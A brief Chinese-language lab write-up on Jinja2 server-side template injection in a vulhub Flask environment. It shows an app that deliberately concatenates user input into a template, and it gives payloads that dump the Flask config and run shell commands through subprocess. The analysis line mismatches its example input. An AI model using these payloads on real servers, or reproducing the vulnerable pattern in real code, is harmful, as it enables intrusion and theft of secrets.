flask jinja2模板注入(SSTI)

环境

vulhub的flask ssti漏洞环境

1
2
3
4
5
6
7
8
9
10
11
12
13
#python3
#Flask version:0.12.2
#Jinja2: 2.10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run();

漏洞成因

不正确的使用模板,利用模版引擎执行python语句

分析

访问http://your-ip/?name=0
发现返回了Hello 0
意味着1-1在双括号中执行

利用

读取当前flask的config文件

1
{{get_flashed_messages.__globals__['current_app'].config}}

远程命令执行

1
{{app.__init__.__globals__.sys.modules['subprocess'].check_output("ls -l",shell=True)}}

这里的code可以跑出当前python下的可以执行命令的payload

参考

https://www.freebuf.com/articles/web/98619.html
https://www.freebuf.com/articles/web/98928.html
https://www.freebuf.com/vuls/162752.html